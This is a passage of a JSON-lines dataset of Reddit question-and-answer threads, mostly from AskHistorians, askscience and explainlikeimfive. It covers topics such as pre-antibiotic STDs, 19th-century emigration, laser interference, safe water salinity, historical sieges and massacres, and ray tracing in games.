plants, have dispensed with nearly all traces of their ancestry during development. Haeckel's law has fallen into disrepute not only because it wasn't strictly true, but also because Haeckel was accused, largely unjustly, of fudging some drawings of early embryos to make them look more similar than they really are. Yet we shouldn't throw out the baby with the bathwater. Embryos still show a form of recapitulation: features that arose earlier in evolution often appear earlier in development. And this makes sense only if species have an evolutionary history (83-4). "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://evolution.berkeley.edu/evosite/evo101/IIIC6aOntogeny.shtml"], []]}
{"q_id": "9gacbj", "title": "Wouldn't a visit to a brothel in pre-antibiotic days almost guarantee transmission of an STD? Maybe not with a single visit, but say after several? How is that sustainable?", "selftext": "Also, did any of the pre-antibiotic treatments work? Or did people recover on their own from some STDs? Anyway, I can understand the market forces behind brothels and prostitution, but I can't understand how STDs didn't throw a huge wrench into the smooth running of business.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9gacbj/wouldnt_a_visit_to_a_brothel_in_preantibiotic/", "answers": {"a_id": ["e635rz6", "e63ik1r"], "score": [1285, 81], "text": ["Well, HIV/AIDS didn't end prostitution in the 1980s and early 1990s, when it was seen as a near-future death sentence; heterosexual couples have unprotected sex today in places where women still have no reliable access to birth control (or had reliable access and watched their right to it get stripped away); people get drunk and hook up with a stranger at a party...human beings are not exactly known for rational and self-preserving behavior when it comes to sex, is what I'm saying. We also should recognize that some societies, like late medieval and early modern Europe, worked long and hard to make prostitution one of a few ways that poor urban women could earn a living on their own, or turn to it as \"occasional work\" to make enough money just that one time...and get trapped in it because they got arrested or *fama* got out and they couldn't escape the reputation and get other work.\n\nThat said, human beings are also capable of less hormonal modes of being, and in other cases less desperate frameworks for actions, in which they recognize that some diseases are sexually transmitted, and try to come up with ways to limit risk. I'll focus on western Europe in the late Middle Ages in this answer, and perhaps we can hear from other people about other times and places.\n\nThere's a decent debate in scholarship concerning how severe the pool of STDs in medieval Europe was--essentially, was there syphilis or something like it before the late fifteenth century. (Syphilis being significant here as more severe and deadly than gonorrhea and chlamydia). But setting aside attempts at historical epidemiology, there are a couple of ways we can see medieval sources talk about diseases they associate with sexual transmission. \n\nOne is a reference to a \"burning sickness,\" as the ordinances governing the (legal) Southwark stews in the fifteenth and early sixteenth centuries have it. The other major one is facial pock marks, pustules, measles spots, and so forth--often overlapping, in medieval useage, with leprosy. (You might have heard \"in the Middle Ages, 'leprosy' was really syphilis'--it's not quite that straightforward, but more like, \"leprosy\" was probably a range of diseases that included some STDs). There is a strong tradition of moralistic writing that argues prostitutes are dangerous to men's bodies because they have sex with lepers and can pass on leprosy; of course they are dangerous to men's souls for other reasons.\n\nAs a *sexually* transmitted disease, of course, there was an even stronger moral condemnation component in the Middle Ages than today. So STDs were absolutely tied to illicit, immoral sex--fornication, adultery, and above all prostitution. It is important to stress that this was a development of medieval *discourse*. We cannot think of prostitutes as Petri dishes for disease in the way other people aren't. After all, how did they get those diseases in the first place? (Hi, men!)\n\nThus, measures to limit STD transmission applied to legalized prostitution, and more crucially, to the prostitutes themselves, not the men who hired them. The Southwark ordinance, for example, bars women with the \"burning sickness\" from their job. Alice Dymmock was a brothel-keeper and prostitute in 15th century Great Yarmouth who, after numerous brushes with the courts for prostitution and disrupting public order, was finally exiled from the city as a \"leper.\"\n\nTo shift the time frame a little, and bring us back to the original point, Laura McGough proposes in *Gender, Sexuality, and Syphilis in Early Modern Venice* an explanation for why, in fact, men continued to seek out sex with prostitutes even despite a strong cultural association between prostitutes and disease (and in the case of her study, syphilis in particular--a popular early modern \"origin story\" for syphilis involve a deadly beautiful prostitute as Patient Zero). She argues that the cultural rhetoric that developed around syphilis/the French disease/the Spanish disease focused very narrowly on immorality--and indeed, on specific patterns of immorality, especially here dangerously beautiful prostitutes and out-of-control soldiers of another country. This allowed individual men to divorce themselves from seeing a risk *to themselves*.\n\nLess than a decade after references to syphilis start popping up in western European sources, so do treatments for it, and so does skepticism that those treatments work. Blood-letting, a special kind of wood from the West Indies, mercury (the last particularly noteworthy because that was popularized by Paracelsus writing *explicitly against* the Galenic party-line of the day). \n\nOn the other hand, Nancy Siraisi shows, by the mid-16th century there was unanimous medical opinion that syphilis was curable. She argues that multiple diseases had become grouped as \"syphilis,\" some of which we would identify with the pathogen today. Other things that traveled under that name *were* \"curable\", or more likely went into remission or healed on their own. Thus, while syphilis itself was a deadly danger, early modern men and women did not have to believe it was *necessarily* a deadly danger if they contracted it.\n\nNone of this, of course, addresses how prostitutes dealt with the chance of contracting an STD, or how women marrying older men they assumed had visited prostitutes or had affairs along the way dealt with the risk to themselves. This is one case where, right now, we're dealing mostly with assumptions we build from silence. We know a little about former prostitutes who made a second life for themselves, including some with what are presumably STDs, but not about preventative measures beforehand. However, there is a fair amount of work on premodern attempts at birth control, and it seems reasonable to assume women having PIV sex with men they didn't trust would take parallel steps for *other* risks of sex.\n\nIs it probably a transhistorical trait that people are capable of diverting from rational to irrational thought processes when it comes to sex? That seems likely. However, that trait still plays out through channels that are specific to times and places. In this case, in late medieval and early modern Europe, men soliciting prostitutes found ways to believe it wouldn't be their problem. And, one assumes, prostitutes found ways to convince themselves it was worth the risk--to trade an STD for a chance to survive, whether that meant money or doing what they were forced to do.", "Please delete if this is an inappropriate follow-up.\n\nu/sunagainstgold has a great answer on pre-Renaissance European mores and reactions but I'm curious about what we saw in China (particularly pre-Yuan) or in ancient societies with well developed brothel cultures like Rome. Was it approached similarly or were there marked differences? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "b6ykqp", "title": "why is there a sudden hatred for jk rowling?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b6ykqp/eli5_why_is_there_a_sudden_hatred_for_jk_rowling/", "answers": {"a_id": ["ejnwa46"], "score": [2], "text": ["She keeps changing the history of the harry potter world. Thakr professor McConnical(dont think that is correct spelling). Before fantastic beasts came out she was not a professor at hogwarts during the events of the crimes of grindalwald. She would have been a child then if even born yet. But when the movie came out she is an adult teaching at Hogwarts. The time lines just dont add up. And then there is the whole thing about her making Dumbledore gay, im not sure if he was straight or not in harry potter (my wife who is a bigger hp nerd then me says he was gay the whole time) but everyone else says he was straight. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "f0uab3", "title": "I am a German farmer in the mid 1800's that wants to move to the New World for \"a better life\". How do I choose which country to emigrate to? What advantages/disadvantages do Canada, the USA, Brazil, and Argentina have that would make me choose one over the other?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/f0uab3/i_am_a_german_farmer_in_the_mid_1800s_that_wants/", "answers": {"a_id": ["fh6pj20"], "score": [95], "text": ["I can't speak to the advantages / disadvantages of various territories but I can say that a mid 19th century German farmer would make his decision much like you or I make a decision: based upon advertising and \"social networking\", aka, word of mouth.   \n\nMost midwestern states, by 1850, have established or are in the process of establishing state funded offices on emigration^1.  These offices commissioned pamphlets, booklets, magazines, and advertisements, and hired agents of state who would travel to chief points of departure in Europe.  Acting as official state agents, these men would distribute their material in taverns, city centers, churches, and outside of factories.   One such pamphlet, titled  *\"Statistics, Exhibiting the History, Climate and Productions of the State of Wisconsin.\"*, contained the following information in 32 pages:\n\n > topographical features, water power, rivers, small lakes, climate, health, geology, lead mines, zinc, iron ores, clays, peat and marl, native animals, fishes, forests, pine region, agriculture, chief crops of 1866 (the total value of which is placed at $69,213,544), live stock, farm products, implements, wages, manufactures, occupations, railroads, markets, population, newspapers, churches, principal cities, lands, surveys, the Homestead Law, land tenure, value of property, government, rights, office holding, rights of married women, revenues of the state, schools, libraries, state institutions, post offices, and routes from the seaboard.^2\n\nNot only did were state governments actively advertising in Europe, railroad and shipping companies very quickly realized that immigrant travel was a highly lucrative business venture.  In 1852, The emigration commissioner for Wisconsin,  Gysbert Van Steenwyck, noted in correspondence that a docking ship would see:\n\n > \"a hundred or more agents, runners, and peddlers at hand to make prey of the immigrants.\"^3\n\nWhich was fine by him:\n\n  > \"forwarding agents favored Wisconsin because of the opportunity for high\n profits in overcharging for passengers and luggage to a region so far west.\"^4\n\nThe business model of railroads at the time depended on immigrant traffic to fund further westward expansion.  The Great Northern Railroad, and Chicago, Milwaukee, St. Paul and Minneapolis Railroad provided loans, books, pamphlets, and even visiting agricultural scientists to communities along their main lines in South Dakota and Montana. Establishing farmers was essential to generating revenue from shipping food, tools, equipment, and finished agricultural products.   An example advertisement in [Welsh](_URL_1_), and the type of handbook [given to potential immigrants](_URL_0_)\n\n\n\n1 Cf. Richmond Mayo-Smith, Emigration and Immigration, 45-52 (New York:\n Charles Scribner's Sons, 1908).\n\n2 The Competition of the Northwestern States for Immigrants\nAuthor(s): Theodore C. Blegen Source: The Wisconsin Magazine of History, Vol. 3, No. 1 (Sep., 1919), pp. 3-29\n\n3 ibid\n\n4 ibid"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://content.wisconsinhistory.org/cdm/ref/collection/tp/id/42752", "http://welshheritageproject.org/wp-content/uploads/2019/10/95-yDrych1888AugRheilfforddFwyaf-3-822x1024.jpg"]]}
{"q_id": "3hz3qg", "title": "Is there anything in the solar system that orbits the Sun in the opposite direction from Earth's direction of orbit?", "selftext": "I'm interested in knowing if there's anything at all that we know of, even asteroids or man-made objects.\n\nAlso: Is there anything that naturally orbits far outside the orbital plane of the planets?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3hz3qg/is_there_anything_in_the_solar_system_that_orbits/", "answers": {"a_id": ["cubuorp", "cubyprp", "cuc8uoj"], "score": [39, 6, 3], "text": ["A few,\n\n_URL_0_", "I don't know about man-made objects.\n\nAs far as the rest, not in our solar system, but we've [observed this in others](_URL_0_). We don't yet know how it happens, as it is thought that all material in a solar system is formed from the same gas cloud that condensed into its star(s).\n\n > Is there anything that naturally orbits far outside the orbital plane of the planets?\n\nYes. The [Kuiper Belt](_URL_1_) and the [Oort Cloud](_URL_2_).", " >  Is there anything that naturally orbits far outside the orbital plane of the planets?\n\n[Pluto's orbit is inclined by 17 degrees](_URL_0_). is that enough?\n\nas far as the first question - some comets and asteroids. actually, it's an answer for both questions, because most oort-cloud objects tend to ignore the plane of the ecliptic."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/List_of_exceptional_asteroids#Retrograde"], ["https://www.nsf.gov/news/news_summ.jsp?cntn_id=119484", "https://en.wikipedia.org/wiki/Kuiper_belt", "https://en.wikipedia.org/wiki/Oort_cloud"], ["http://www.universetoday.com/13865/orbit-of-pluto/"]]}
{"q_id": "27y9s4", "title": "how can advanced countries have such different schooling times for doctors?", "selftext": "How can some countries like America have an 8 year requirement for doctors and others like Australia have 5 years, with equivalent qualifications? Also how can med school in america be hard after 3-4 years of science beforehand?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/27y9s4/eli5_how_can_advanced_countries_have_such/", "answers": {"a_id": ["ci5l0a0", "ci5lcyb"], "score": [13, 2], "text": ["Why wouldn't they?  Being a competent doctor requires a lifetime of learning, first at elementary level, then through secondary and university, plus an internship, residency, and a lifetime of keeping up with advances and new information.  At what point, exactly, does one make a clear point of demarcation, where on this side the person is officially a physician, and on that side (s)he isn't?  Different countries draw that line at different places.  None are obviously and objectively more correct than others.  The point is that each is saying *\"Here's a highly trained and educated person we've decided is qualified to be called a physician now.  Having just graduated, (s)he is still a complete newb, and won't really be any good at it for years yet.  But (s)he has passed the first level at least, so show some respect.\"*", "Countries with shorter requirements tend to have more streamlined programs that forego unnecessary education in favor of focusing on what you need to know to be a doctor. For example, I didn't really need two extra years of college to study Roman history, art history, etc. The US actually has these programs for nursing.\n\nAlso I can't speak for everybody but in regard to difficulty medical school is not hard at all in terms of the intellectual difficulty. What makes it formidable is the sheer volume of information you are tasked with learning. For my board exam in a few days I have basically memorized a 700 page textbook in 5 weeks."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2mtva5", "title": "Today in my physics lab, we learned about constructive/destructive interference in light waves (2-slit experiment). If you pointed 2 lasers at each other, can the same thing happen?", "selftext": "My TA couldn't answer the question in class, so we played around with the lasers a little bit but didn't see anything interesting.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2mtva5/today_in_my_physics_lab_we_learned_about/", "answers": {"a_id": ["cm7o5ba", "cm7zmpu", "cm85ooz"], "score": [41, 2, 2], "text": ["It is possible to observe interference between two light beams generated by two independent sources, however it is a bit technically challenging to arrange an experiment where you can see such an effect. The biggest obstacle is that observing interference requires there to be a well-defined phase relationship between the two interfering waves. However, light is composed of individual photons, which in general have no phase relationship to each other. This means that while any two photons would interfere, the net result when integrated over a large number of photons would be to cancel out these effects, such that the net result will simply be to have a net intensity that is simply the sum of the intensities of the constituent beams, I_total = I_1 + I_2, i.e. no interference.\n\nOne way to overcome this difficulty is by splitting the same beam in half and then having the two split beams interfere with each other. This is for example, how a [Michelson Interferometer](_URL_2_) works. The basic set-up as shown [schematically here](_URL_1_) relies on the fact that one of the beam has a longer optical path than the other and thus acquires a phase difference compared to the other beam. Even though the initial beam consists of a vast number of photons with effectively random phases, because each photon acquires a well-defined phase difference if it passes through one beam vs the other. In effect when the two beams recombine, net interference results because as Dirac put it: \"each photon only interferes with itself.\"\n\nHowever, while it's easier to achieve interference by splitting an initial beam and having the two resulting beams interfere with each other, it's also possible to create measurable interference using two independent sources. For this, however, you need to have two beams, that have a well defined phase internally and have a persistent phase difference between each other. Such a situation can be achieved using modern mode-locked laser. For example, one can take two mode locked lasers, fix their relative phase, and shine them at a detector (e.g. a photomultiplier tube). One can then introduce a small frequency difference (detuning) between the lasers, which will create a modulation of the signal in the time domain, an effect called optical beats, a clear example of interference! Such a demonstration is shown in [this video](_URL_0_).", "To observe the interference, the frequencies of the two lasers need to generate light that is very close in frequency otherwise the time-average of the correlation between the time-dependent part of the fields (the exp(-2*Pi*f*t) part) is going to be very small. This time-averaged correlation is what determines whether the fringes will be visible. The visibility of the fringe vanishes unless the lasers are almost exactly at the same frequency.\n\nMath: You can estimate the correlation of two fields A and B where A is at a frequency f and B is at a frequency f+x by doing the time-average\n <  A B* >  where the time-average is taken over some exposure duration. \n\nExcluding the spatial variation in the fields, \n <  A B*  >  = Integrate[ exp(2*Pi*i*f*t) * exp(-2*Pi*i*(f+x)*t) / T,{t,-T/2,T/2}]\nwhere T is the exposure duration.\n \nIf you imagine the integration time of your eye is about 0.03 seconds and if the lasers differ in frequency by 1 x 10^4 Hz, the visibility of the interference fringe has already dropped to 0.1% of its maximum value. Your laser pointers are probably running at 4.7 x 10^14 HZ so the probability that their frequencies are within 10 KHz of each other is essentially zero.\n\nAt optical frequencies, the probability that two unrelated sources of light are temporally coherent with each other is essentially zero. The only way they will be temporally coherent is if one source feeds light to the other and the other is able to chase the frequency and become mode-locked.", "Let me repeat the other commenters in a slightly different way.  Two lasers WILL interfere with each other, BUT unless their phases are exactly locked to each other, the interference will average out over time and you'll never see it.  To be phase-locked means the two lasers have EXACTLY the same frequency and any little drifts must be the same for both lasers.  This is possible, but only with very special tricks, and it won't happen with two random lasers.\n\nIt is much easier to see a laser interfere with itself.  Other people here have mentioned interferometers that use a beam splitter to split a single beam.  Another example is to simply shine a laser at the wall.  As the beam scatters off the surface, you will see a speckle pattern with relatively bright spots (caused by constructive interference) and relatively dim spots (destructive interference)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.youtube.com/watch?v=XTGop79ZCLM", "http://upload.wikimedia.org/wikipedia/commons/a/a9/Michaelson_with_letters.jpg", "http://en.wikipedia.org/wiki/Michelson_interferometer"], [], []]}
{"q_id": "uu2af", "title": "homestuck.", "selftext": "Edit: Now, would you kindly explain the freaking demons?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/uu2af/eli5_homestuck/", "answers": {"a_id": ["c4yj962", "c4yjddh", "c4yjphw"], "score": [6, 3, 3], "text": ["It's an adventure story that makes fun of itself, then makes fun of itself more and more until the story is basically about making fun of itself.", "_URL_0_\n\nThere are some good ones here, iirc.", "It's a webcomic that also incorporates flashes, gifs, music, and text conversations. It is a huge and very complicated story that contains thousands of pages with lots of dying and time traveling. The story starts out with a group of friends who are trying to play this very important game, but the plot quickly becomes very complex as universes, aliens and multiple timelines are introduced. The Homestuck fandom is notoriously enthousiastic and like many other fandoms there are a ton of cosplayers, shippers, fan artists and even fan made music. Also the plot of Homestuck can be quite meta, and often references or makes fun of itself and its fandom, all the while somehow still contributing to Homestuck."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/explainlikeimfive/comments/o4g9o/eli5_homestuck/"], []]}
{"q_id": "304dr0", "title": "density functional theory", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/304dr0/eli5_density_functional_theory/", "answers": {"a_id": ["cpp7swx"], "score": [4], "text": ["First, it is a **method** that is used in **computational** science, mainly materials science. Computational means that it is using computers to simulate how something will work, instead of figuring it out experimentally in the lab.\n\nSometimes, we want to figure out what happens if you put certain atoms together in a particular condition. Density functional theory (DFT) can do that! \n\nWe put in the information of the electronic structure (how the electrons of certain elements want to interact) of the material we are interested in. We put in the conditions that we are interested in. Using this information, the DFT code can use a crazy computer to calculate how the atoms the behave (very complex), and we predict what might happen in those conditions."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5azcmp", "title": "Why is YBCO used in superconducting wires instead of higher temperature superconductors like HgTlBaCaCuO or SrFFeAs?", "selftext": "There are many higher temperature superconductors than YBCO (graph [here](_URL_0_) ) but why is YBCO always used? The ones that require high pressures to exhibit superconductivity are the only ones that make sense because it would be much more expensive to decrease the temperature *and* increasing pressure. ", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/5azcmp/why_is_ybco_used_in_superconducting_wires_instead/", "answers": {"a_id": ["d9kmqpd"], "score": [8], "text": ["Industry. We can manufacture YBCO wires on a large scale, but don't have the manufacturing processes set up to do so with other superconductors on the large scale.\n\nAnd the reason we don't have manufacturing set up is because YBCO was the first which was discovered to have a high enough critical temperature to be feasible, so that was the focus for building wires. Right now there isn't enough of an improvement in either Tc or in ease of manufacture which economically justifies making a switch."]}, "title_urls": [], "selftext_urls": ["https://upload.wikimedia.org/wikipedia/commons/b/bb/Timeline_of_Superconductivity_from_1900_to_2015.svg"], "answers_urls": [[]]}
{"q_id": "s82fe", "title": "Maximum safe salinity in drinking water?", "selftext": "The salinity of seawater is clearly too high (~3.5%) for safe consumption, but I'm wondering what is the maximum salinity you could have in drinking water and still be safe. Would it be greater than, less than or equal to the isotonic concentration of salt in the body?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/s82fe/maximum_safe_salinity_in_drinking_water/", "answers": {"a_id": ["c4bue9x", "c4bvl9t", "c4c15ti"], "score": [16, 4, 3], "text": ["I don't know enough about the kidneys and human body to attempt a Fermi question on this, however to answer \"safe for consumption\" when researching ground water in Africa I've found regulatory and recommended limits to be set as 1000ppm (max sustainable), 500ppm (max defined as drinking water) and 100ppm (defined as drinking water) on average from a variety of different bodies and laws. \n\nedit: note that sea water is 40,000 ppm (variable obviously +/- 10,000 I believe).", "Related question: Is there a minimum amount of solutes needed in water to make it safe for drinking?", "I think the best way to think about this is that the maximum concentration of salt water you can take in is equal to the maximum you can put out through the urine. That way you are able to stay in an equilibrium. The maximum urine sodium concentration is about [270-290 meq/L](_URL_0_). This correlates to about 1.7% normal saline solution. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://jap.physiology.org/content/14/6/1036.short"]]}
{"q_id": "evkazd", "title": "why do guitar brands like fender and gibson release models and guitars that stick so strictly to a specific look?", "selftext": "I am sure people enjoy the feel and classic look of a strat, but they literally all look so similar.\nWouldn't they want to release newer, more modern body shapes and use more innovative ieeas?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/evkazd/eli5_why_do_guitar_brands_like_fender_and_gibson/", "answers": {"a_id": ["ffw8cm0", "ffwbwu1", "ffwh76b", "ffwiee6", "ffwjf8k"], "score": [14, 11, 3, 5, 4], "text": ["If you can make and sell the same design of something over and over, there's no incentive to innovate. People like and want the classic guitar shape - familiarity, ease of playing and carrying, fitting into standard guitar cases, the look, etc", "They do. But there are only so many ways to skin a cat, and you're talking about two of the most iconic instruments ever. People will always buy Strats and Les Pauls because of their cultural significance.", "Probably the same reason the playstation controller has changed so little over the years. The design is iconic to their brand, and if they tried to change it people would get mad and get them to change it back, like the original ps3 boomerang controller.", "As buyers, people tend to have values other than pure functionality. Aesthetics and emotional attachment play a huge (some might say predominant) role in why people choose to purchase something. This is why advertising works - packaging, messaging, hiring famous people to tout the products. \n\nGuitar players or aficionados might be attached to a famous player who used a particular guitar and associate that guitar with positive attributes. Manufacturers understand this and will cater to this sensibility.\n\nAlso manufacturers are not emotionless things - the people within these companies have a sense of pride and tradition as well.", "Fender has actually been innovating a fair amount in recent years. Unfortunately, a lot of those innovations don\u2019t sell so they get discontinued. \n\nRecent Fender is actually a great marketing case study. I read and article where their CMO stated that they don\u2019t have an awareness problem or a reputation problem like most brands; they have a attrition problem (the entire industry, really) because the guitar can be a difficult instrument to learn. So they pour a lot of marketing dollars into content aimed at keeping beginners interested. That\u2019s why they push Fender Play so hard. If they can get that person, who got a starter kit but doesn\u2019t know what they\u2019re doing, to learn songs they know, they will increase their overall customer lifetime value. Eventually that player will be in the position to buy an expensive guitar and they will think of fender, who was by their side the whole time. But, my guess is they will still buy a strat/tele/conventional body style because that\u2019s what sells."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "10egp7", "title": "Interested in The Great Northern War. What books are must-reads for this topic?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/10egp7/interested_in_the_great_northern_war_what_books/", "answers": {"a_id": ["c6cs49m", "c6csosk"], "score": [5, 3], "text": ["Robert massie's biography of peter the great is utterly fantastic, and spends a lot of time on the war.", "I have a lot in my bookshelf, but most are in Swedish. I take you would like to have them in English?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3x1mer", "title": "why is chris evans (uk presenter) so successful?", "selftext": "[deleted]", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3x1mer/eli5_why_is_chris_evans_uk_presenter_so_successful/", "answers": {"a_id": ["cy0sef9", "cy0z1ur"], "score": [2, 2], "text": ["He has the same qualities as most other successful radio presenters -- a large amount of charisma and an equally large amount of good luck. In any hugely-competitive sphere like that, to get to the top requires not only being talented at what you do, but being fortunate enough to be in the right place at the right time.\n\nChris Evans (or maybe his agent or publicist) has also been skilful at controlling the image of himself that gets projected into the media, meaning he's been able to keep enough of himself in the public eye that he never quite \"falls out of fashion\", ensuring the longevity of his career.", "He has had a very successful TV career, hosting some big shows like The Big Breakfast  &  TFI Friday in the 90's - I think his audience has sort of grown up with him (started on BBC Radio 1  &  \"young\" Big Breakfast  &  TFI Friday, now does BBC Radio 2  &  TV magazine show \"The One Show\" on BBC in the evenings both aimed at a maturer audience)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "108ejl", "title": "We hear about groups like the Mongols or the armies of Alexandar the Great who slaughter whole cities - How was that done, and what was the reaction of the slaughters?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/108ejl/we_hear_about_groups_like_the_mongols_or_the/", "answers": {"a_id": ["c6bbigj", "c6bbzjm", "c6bd7r5", "c6bddmk", "c6beu7e", "c6bkpwe"], "score": [39, 13, 10, 3, 3, 3], "text": ["So let's start by separating two types of masacres. The ordered kind and the spontaneous kind. \n\nIt is said that the Mongols slaughtered entire cities with the express purpose of scaring other cities into surrender. How did it work? I don't understand the question really. You unleash 20000 mongolian tribesmen with swords and spears on a civilian population, often trapped within a city. That's how it \"works\". This is the ordered kind of masacre. \n\nThen there are the unplanned masacres. This is what happens when a siege ends. For weeks, months or even years, soldiers have been staring at the walls of a city or fortress. They've seen friends and allies cut down trying to take those walls. They've heard time and again of the evil of those defenders. They've seen it first hand from their merciless defense. When the walls are finally breached, you have thousands of soldiers thirsting for revenge running through the streets. There's alcohol involved, anger held in check for months released. It can take days before the looting, rapes, slaughter and violence stops. \n\nEDIT: Canadians riot over a hockey game and destroy half of down town. Imagine that, on steriods, in a life and death situation.", "I've heard the mongol hordes employed a three-flag system. I think it went yellow, red, and black in terms of severity, but that's really the point here. they would lay siege to a city with the first flag raised, demanding all able-bodied men in the city join the horde. if this went unheeded, the second flag was raised, signifying the eventual slaughter of all men, with the women of the city becoming \"wives\" of the horde. the final flag meant the city would be razed to the ground with no survivors. in any case, the besieged city would cease to exist meaningfully within the mongol empire, although I would imagine some towns were kept intact for use as fortresses and trading outposts. as far as the actual sacking of cities, Superplaner's answer is better than mine.", "Dan Carlin covers this in his most [recent show](_URL_0_).  The Mongols had a very efficient system for killing thousands of people and basically every Mongol warrior was given a quota of enemy dead that he had to meet.  He then recorded his kills by taking part of the victim as evidence (e.g. an ear) and failure to meet the quota was a serious offence.\n ", "Dan Carlin made some fantastic podcasts about the mongols. If you want to check it, you can listen to Part 1 of **Wrath of the Khans** on this [link](_URL_0_)", "Do you know the expression \"by the sword\"? Thats how it was done. \n\nLong or short sword doesnt matter, machete or knife. How did the americans massacre indians? When they didnt want to waste bullets, by the knife to the throat or a heavy blow to the head. A method that was used in later years was to encircle the victims and shoot at them with artillery fire.\n\nThe attempted genocide on Gypsies, Serbs and others by the Croatian ustashe (fascists) invented a device called Srbosjek, (serbcutter), which is a small knife which you can put on like a glove, the blade was not like a knife pointing up like your thumb but below, as it was easier to hold in place with a lesser force than is required to hold a real knife. The fascists then managed to cut throats more efficiently. Like todays massacres and bloody events the perpetrators justified it in the same vane, the others are not humans like us basically so fuck them. \n\nThe reaction to the slaughters was despair, disbelief and prolonged suffering of those left behind. \n\nHow was that done you ask? Just as it is today, disregard that comment about soldiers lusting for kills and rapes, thats nonsense there is only so much psychopats in a society. Slaughters happen because of a soldiers fear of the same kind of killing being performed on them by their own brothers-in-arms. When you're in the battlefield, you do as your told or you get the knife. You know how desserters, defatists and illoyalists are handled.\n", "During the Thirty Years War the city of [Magdeburg](_URL_1_) was completely sacked by one of the many mercenary armies that were involved in those wars (this happened in 1631). That army killed something like 25,000 people, and the general reaction of Europe at that time was shock at the death toll. \n\nA few centuries before this it was standard practice to sack any city that offered resistance as a lesson to other cities. Think of the [speech](_URL_0_) from Henry V that he gives at the gates of [Harfleur](_URL_2_) (which would began August 18, 1415 and ended September 22, 1415)\n\n > \"I will not leave the half-achieved Harfleur\n\n > Till in her ashes she lie buried.\" \n\nand then at the end of the speech\n\n > \"What say you? will you yield, and this avoid,\n\n > Or, guilty in defence, be thus destroy'd?\"\n\nHere Henry V is telling the defenders that he will raze it to the ground and not stop his soldiers from raping, murdering and pillaging--and the play paints Henry V as a complete and total hero and a man to be admired.\n\nSo the answer two your questions comes in two parts. The first is that a besieged city was expected to surrender quickly. If an army had to breach the walls, then the citizens could expect no mercy. The commanding officer of the opposing army would either deliberately command his men to go crazy, or simply not control them when they did go crazy. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.dancarlin.com/disp.php/hharchive/Show-43---Wrath-of-the-Khans-I/Mongols-Genghis-Chingis"], ["http://www.dancarlin.com/disp.php/hharchive/Show-43---Wrath-of-the-Khans-I/Mongols-Genghis-Chingis"], [], ["http://shakespeare.mit.edu/henryv/henryv.3.3.html", "http://en.wikipedia.org/wiki/Sack_of_Magdeburg", "http://en.wikipedia.org/wiki/Siege_of_Harfleur"]]}
{"q_id": "f2qol4", "title": "video games: what are \"particle effects\" and \"ray tracing\"?", "selftext": "I work in the games industry and am embarrassed to ask my co-workers as I feel this is something I should \"just know\". Please help!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f2qol4/eli5_video_games_what_are_particle_effects_and/", "answers": {"a_id": ["fhe2y6z", "fhe3mfk", "fhe5pee", "fheun7l", "fhewjx1"], "score": [70, 53, 11, 2, 5], "text": ["Ray tracing is working out how light bounces of objects before arriving at the viewer.\n\nThis allows you to have more realistic looking environments as irl were not just lit by direct light but what the light bounces off", "Particle effects are... well, effects that use particles: Lots and lots of small textures or models to create effects that are supposed to be fuzzy. Fire, smoke and mist are common particle effects.", "Ray tracing simulates real world light by computing the amount of light rays that are reflected and transmitted by objects /surfaces and recursively following those \"secondary\" rays too\n\nAka, in Ray tracing a light ray will bounce off a mirror and illuminate objects in front of it, in normal lighting it wont\n\nObviously there's different ways to make it seem like it does like shadow maps etc but they're not realistic at all", "Particle effects: Effects created from multiple copies of a single source (a single particle). The most common case is quick things like sparks, where you just draw one or two individual \"sparks\" and then make them come out by the hundreds.\n\n & #x200B;\n\nRay Tracing: From a source of light, a number of light rays are emitted in multiple directions and their trajectories are calculated over time, which materials absorb them, how much is reflected/refracted, and where does the leftover light go, thus creating something much more closer to how light works in real life. Right now it's mostly a performance killing gimmick because no game has heavily invested on them and the hardware required to implement them on a full scale in real time is way beyond what we currently have.", "I don't know the answer to either of your questions, but I'm here to say to be never, ever be embarrassed for things you don't know-- especially if it's in your field of employment. Being honest in asking what seems obvious for others may be perceived as honest humility."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
